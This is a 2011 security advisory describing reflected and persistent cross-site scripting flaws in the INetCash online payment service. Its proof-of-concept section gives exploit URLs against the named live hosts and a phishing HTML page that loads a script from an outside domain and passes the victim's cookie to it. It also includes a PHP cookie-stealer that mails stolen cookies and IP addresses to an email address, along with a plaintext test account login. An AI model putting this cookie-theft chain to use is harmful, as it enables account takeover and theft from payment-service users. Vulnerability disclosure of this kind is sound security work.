INetCash Finance Service - Multiple Web Vulnerabilities

2011-07-2800:00:00
Vulnerability Research Laboratory
www.vulnerability-lab.com
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Document Title:
===============
INetCash Finance Service - Multiple Web Vulnerabilities



Release Date:
=============
2011-07-28


Vulnerability Laboratory ID (VL-ID):
====================================
112


Product & Service Introduction:
===============================
INET-CASH ist im Bereich des Online-Payments seit 1995 aktiv. Sie erhalten hier einen kompletten überblick über unser Angebot, 
das die gesamte Abwicklung aller relevanten Online-Zahlarten, mit einfachster Anbindung an Ihr System, umfasst. Es bildet ein 
lückenloses System von Lösungen für die Abrechnung von Memberbereichen über diverse Lösungen für die Abrechnung von Online-Shops 
bis hin zu Individual-Lösungen, die keine Wünsche mehr offenlassen. Egal, für was Sie sich entscheiden, unsere Lösungen sind so 
sicher, wie Sie es sich wünschen, denn wir entwickeln seit Jahren Sicherheitskonzepte, die nicht nur das Wort sicher im Namen 
tragen, sondern es auch sind. Im Branchenschnitt unterdurchschnittliche Storno-Quoten geben uns Recht, diesen Weg kontinuierlich 
beschritten zu haben. Dass Sie Ihre Transaktionen in Form von umfangreichen Statistiken abgebildet bekommen, ist zwar für uns eine 
Selbstverständlichkeit, sei aber an dieser Stelle noch einmal explizit erwähnt. Ebenso tragen wir dem Umstand, dass im Internet 
vielfach Kooperationen in Form von prozentualen Umsatzbeteiligungen eingegangen werden, dadurch Rechnung, dass sämtliche Systeme 
von uns affiliate-fähig sind. Dies beinhaltet sowohl die Umsatzzuordnung inkl. der Abbildung der Umsätze in Statistiken als auch 
die Abrechnung Ihrer Partner. 

(Copy of the Vendor Homepage: http://www.inetcash.de/)


Abstract Advisory Information:
==============================
An anonymous laboratory researcher discovered multiple Web vulnerabilities on the INETCash Finance Service.


Vulnerability Disclosure Timeline:
==================================
2011-07-29:	Public or Non-Public Disclosure




Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
Multiple Input Validation Vulnerabilities are detected (client-side) on the INETCash Finance Service. 
Attackers can force client-side cross site scripting requests to steal plain transfered user passwords.

Vulnerable Module(s):
			                      [+] Bankdetails 
			                      [+] Index
			                      [+] Extern

Pictures:
			                      ../ive1.png
			                      ../ive2.png



1.2
A persistent Input Validation Vulnerability is detected on the INETCash Finance Service. 
Remote attackers & low privileged user accounts can implement malicious persistent script codes to manipulate specific application modules.

Vulnerable Module(s):	
                                                         [+] Umsatz/ID Verwalten  => Services

Pictures:
		                                          ../ive3.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attacker or local privileged user accounts.
For demonstration or reproduce ...

1.1

Server:		https://gateway.inet-cash.de/user/ 
File1:		bankdetails.php
Para:		?lang=
Reference: 	https://gateway.inet-cash.de/user/bankdetails.php?lang=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221


Server:		https://secure.inet-cash.de/isec/
File:		index.php
Para:		?lang=
Reference:	https://secure.inet-cash.de/isec/index.php?lang=<iframe src=http://global-evolution.info/news width=800 height=800>


Server:		https://secure.inet-cash.de/isec/
File:		extern.php
Para:		?lang=
Reference:	https://secure.inet-cash.de/isec/extern.php?lang=%3E%22%3Ciframe%20src=http://global-evolution.info%20width=760%20height=500%3E

1.2
POC TEST ACCOUNT ==>
user: 41483 
password: chaos666


<html><head><body>
<title>INetCash - Password Transfer Exploit </title><div align="center">
  <p>INetCash - Password Transfer Exploit</p>
  </div><p align="center"><a href="location.href='https://gateway.inet-cash.de/user/bankdetails.php?lang=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/schoko-drops.php%3E%3C/script%3E?nice='+escape(document.cookie)">
  Click here to to update INetCash Transfer ID</a> </p>
  </body></head></html>


<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A"); 
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("[email protected]", $subject, $msg);
header ("location: https://www.inetcash.de/");
?>


Security Risk:
==============
The security risk of the non-persistent vulnerabilities are estimated as medium because of plain pass transfer via cookie.
The security risk of the persistent vulnerabilities are estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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